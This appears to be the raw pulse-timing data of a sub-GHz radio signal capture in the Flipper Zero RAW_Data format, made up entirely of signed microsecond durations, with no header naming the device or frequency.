-1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 3401 -2998 1805 -1396 3391 -1400 1801 -1402 1799 -1398 1791 -3000 1799 -1402 3607 -4140 2069 -2820 3359 -2938 3533 -2914 3513 -2916 3337 -3160 3173 -3184 3393 -2998 3389 -2996 3393 -3002 3393 -3002 3403 -2994 3401 -3002 3395 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -3002 1799 -1398 1797 -1400 1801 -1400 3395 -3002 3401 -1398 1791 -2998 3403 -3002 1799 -1402 1801 -1396 3391 -3002 1799 -1402 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 3399 -3002 1799 -1402 3401 -1402 1795 -1394 1797 -1400 1801 -3002 3401 -7030 2161 -3078 3391 -2994 3389 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3403 -2994 3393 -3002 3403 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -3006 1799 -1394 1791 -1398 1801 -1400 3403 -2994 3401 -1402 1799 -2994 3403 -3002 1799 -1398 1791 -1398 3403 -3002 1799 -1402 3401 -1398 1791 -2998 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1396 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -3002 1799 -1402 3393 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -3002 3795 -3692 2201 -2812 3459 -2876 3485 -3104 3309 -2934 3359 -3176 3181 -3190 3395 -2994 3393 -3006 3399 -2994 3401 -2994 3407 -3006 3389 -2994 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -3002 1801 -1398 1791 -1398 -RAW_Data: 1801 -1400 3401 -3004 3393 -1400 1801 -3002 3399 -3006 1795 -1394 1797 -1400 3401 -2994 3403 -2994 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3004 1799 -1402 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -3394 399 -3496 2327 -2200 3995 -2554 3791 -2544 3685 -2710 3691 -2920 3333 -3156 3373 -2984 3391 -2996 3389 -2996 3401 -2994 3401 -2996 3405 -3002 3397 -1398 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1801 -1398 1791 -1398 1801 -1400 3401 -3002 3395 -1400 1801 -3002 3401 -2996 1795 -1398 1799 -1402 3401 -2994 3403 -3002 3393 -3002 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 3401 -3002 3403 -3002 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 3593 -4356 1945 -2932 3435 -3014 3415 -3004 3401 -3004 3393 -3002 3401 -2994 3407 -3006 3393 -2994 3395 -3002 3401 -3002 3399 -3004 3395 -2994 3407 -1400 1789 -1392 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3407 -3004 3395 -1396 1793 -2998 3401 -3004 1799 -1398 1791 -1398 3401 -3002 3403 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 -RAW_Data: 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3002 3407 -3006 1795 -1394 1791 -1398 1801 -1400 1801 -1402 3401 -4768 389 -390 193 -2086 1793 -2908 3435 -3014 3409 -3002 3407 -3006 3401 -3002 3393 -2996 3401 -3002 3407 -2996 3395 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -3002 3395 -1400 1797 -2998 3401 -3004 1799 -1398 1791 -1398 3401 -3002 3403 -1396 1797 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 3393 -3002 3403 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3593 -1506 4053 -3028 3495 -2918 3323 -3148 3167 -3182 3185 -3192 3389 -2994 3401 -3004 3393 -3002 3401 -2994 3395 -3002 3401 -3002 3395 -3002 3393 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -3002 1801 -1400 1801 -1402 1799 -1402 3393 -3002 3401 -1402 1795 -2992 3401 -3002 1801 -1400 1801 -1398 3389 -1400 1801 -3002 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 3397 -3002 3401 -3002 1801 -1398 1795 -1402 1801 -1400 3393 -1402 1801 -5898 771 -378 2029 -2840 3559 -2776 3585 -2986 3395 -2994 3393 -3002 3403 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -2998 3407 -2994 3401 -2994 3395 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -3002 1799 -1402 1801 -1396 1791 -1398 3403 -3002 3401 -1398 1795 -3002 3403 -2994 1799 -1402 -RAW_Data: 1795 -1398 3401 -1402 1801 -3002 1795 -1394 3403 -3004 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 3403 -3002 3401 -2994 1801 -1400 1795 -1400 3405 -3006 1795 -1394 3591 -3806 2201 -2824 3453 -2878 3493 -2908 3521 -2926 3349 -3164 3177 -3190 3387 -2990 3393 -2996 3401 -3006 3397 -2994 3403 -2994 3401 -2994 3401 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1801 -3002 1795 -1398 1801 -1400 1795 -1398 3407 -3006 3393 -1398 1791 -2998 3403 -3002 1799 -1398 1791 -1398 3401 -1402 1801 -3002 3401 -2994 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 3401 -2996 3401 -3002 1795 -1394 1797 -1402 3401 -3002 3401 -5912 1929 -3004 3419 -3010 3411 -2996 3395 -2994 3401 -3002 3401 -2994 3407 -2998 3393 -2994 3403 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -3002 3403 -1396 1793 -2998 3401 -3002 1797 -1394 1795 -1402 3401 -1402 1799 -3004 3401 -1396 1793 -2998 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 -RAW_Data: 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 3401 -2994 3403 -2994 1801 -1400 1801 -1400 3395 -1400 1801 -2994 3401 -2922 1031 -1104 1767 -3090 3163 -3166 3183 -3186 3393 -2994 3395 -3002 3401 -2994 3403 -3002 3397 -3006 3393 -2996 3401 -2994 3401 -2994 3403 -3002 3399 -1404 1795 -1394 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1795 -1400 1799 -1402 1799 -1402 3407 -2996 3395 -1400 1795 -2992 3401 -3002 1801 -1402 1799 -1398 3389 -1402 1799 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 3401 -3002 3403 -2994 1799 -1398 1797 -1400 3407 -1400 1791 -1394 1797 -8408 1655 -3216 3289 -3110 3319 -3136 3159 -3176 3185 -3200 3197 -3194 3389 -2996 3393 -2994 3401 -3002 3403 -2994 3401 -2994 3403 -3002 3397 -1404 1797 -1394 1795 -1402 1795 -1398 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 1795 -1398 1801 -1402 3401 -1396 1793 -1398 1799 -3004 3405 -3006 1795 -1394 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3393 -3002 3401 -2996 1799 -1402 3401 -3002 1795 -1394 1793 -1398 4403 -1594 579 -948 2021 -2944 3439 -3026 3417 -3002 3411 -3002 3401 -3002 3393 -3004 3401 -2994 3407 -2996 3399 -3006 3393 -2994 3395 -3002 3401 -2994 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1797 -1400 1801 -1400 3401 -3004 3393 -1400 1801 -3002 3395 -3002 1799 -1402 1795 -1394 3397 -1402 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 -RAW_Data: 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 3401 -3004 3397 -3006 1795 -1394 3391 -3002 1799 -1402 3401 -7960 1797 -3000 3435 -3014 3415 -3004 3407 -3006 3393 -2994 3407 -3002 3397 -2994 3393 -3004 3393 -3002 3401 -2994 3403 -3002 3393 -3002 3393 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -3002 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3405 -1400 1793 -2990 3403 -3002 1799 -1402 1795 -1398 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -3002 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 3407 -3006 3393 -2994 1801 -1396 3391 -3006 3405 -2994 3803 -4598 1425 -3262 3367 -2984 3185 -3190 3391 -2994 3405 -3006 3393 -2996 3401 -2994 3393 -3002 3403 -2994 3401 -3002 3393 -3004 3401 -2994 3401 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -3002 1801 -1402 1799 -1402 1795 -1394 3397 -3004 3401 -1400 1801 -2994 3401 -3004 1795 -1394 3397 -3002 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 -RAW_Data: 1791 -1398 1801 -1400 3401 -3002 3403 -2994 1799 -1402 3401 -2994 3407 -1400 1791 -4212 203 -2976 1877 -3038 3175 -3164 3353 -2932 3519 -3106 3309 -3122 3147 -3168 3183 -3182 3389 -2994 3395 -3002 3393 -3002 3395 -3006 3397 -2994 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1797 -1400 1801 -1400 3403 -2998 3405 -1396 1793 -2998 3403 -3002 1799 -1398 3397 -3002 1797 -1398 1799 -1402 1799 -1402 3407 -2996 1797 -1394 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -3002 1795 -1394 3399 -1400 1801 -3002 1801 -1396 3397 -804 201 -2984 1719 -3010 3487 -2908 3515 -3134 3147 -3168 3183 -3186 3389 -2998 3399 -2994 3393 -3002 3407 -2998 3393 -2994 3401 -3004 3401 -2994 3393 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -2998 1805 -1398 1791 -1394 1797 -1400 3401 -3002 3403 -1400 1801 -2994 3401 -3002 1797 -1394 3397 -3002 1801 -1400 1801 -1402 3401 -2994 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 3393 -3002 3403 -2994 1799 -1402 3393 -1402 1799 -3004 3393 -3202 803 -3626 2215 -2456 3759 -2776 3585 -2990 3391 -2994 3393 -3002 3403 -2994 3401 -3002 3393 -3004 3393 -3006 3397 -2994 3403 -2994 3401 -3002 3395 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -3002 1799 -1402 1795 -1394 1797 -1400 3407 -3006 3393 -1398 1795 -3002 3403 -3002 1795 -1394 3397 -3002 1801 -1402 1799 -1398 3389 -1402 1799 -3002 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 -RAW_Data: 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 3403 -3002 3393 -3002 1801 -1400 3395 -1400 1801 -1396 1797 -3002 4211 -4018 1715 -2938 3433 -3018 3411 -3010 3401 -3002 3401 -3002 3407 -2998 3393 -3002 3395 -3002 3393 -3002 3393 -3004 3401 -3002 3393 -3002 3395 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -3002 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -1402 1795 -2992 3401 -3002 1801 -1400 3401 -2994 1801 -1402 3393 -3002 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 3403 -3002 3401 -3002 1795 -1394 3403 -1404 1795 -1394 1797 -1402 1799 -4574 383 -2458 2107 -3020 3263 -3042 3423 -3010 3405 -3006 3401 -3002 3407 -2998 3393 -2994 3403 -3002 3393 -3002 3393 -3004 3401 -2994 3401 -2994 3403 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -3006 1805 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1398 1791 -3000 3405 -3006 1795 -1394 3391 -3002 1799 -1402 3401 -3002 3401 -2996 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 3403 -2994 3401 -3002 3395 -3002 1799 -1398 1791 -1398 1801 -1400 3603 -838 437 -2646 1921 -2808 -RAW_Data: 3533 -2914 3495 -2868 3443 -3022 3417 -3002 3407 -3010 3401 -2998 3393 -2996 3393 -3002 3401 -2994 3403 -3006 3397 -2994 3407 -1400 1789 -1392 1797 -1402 1799 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3393 -1402 1799 -3002 3395 -3002 1795 -1398 3401 -3002 1797 -1398 3401 -1400 1797 -2994 1805 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 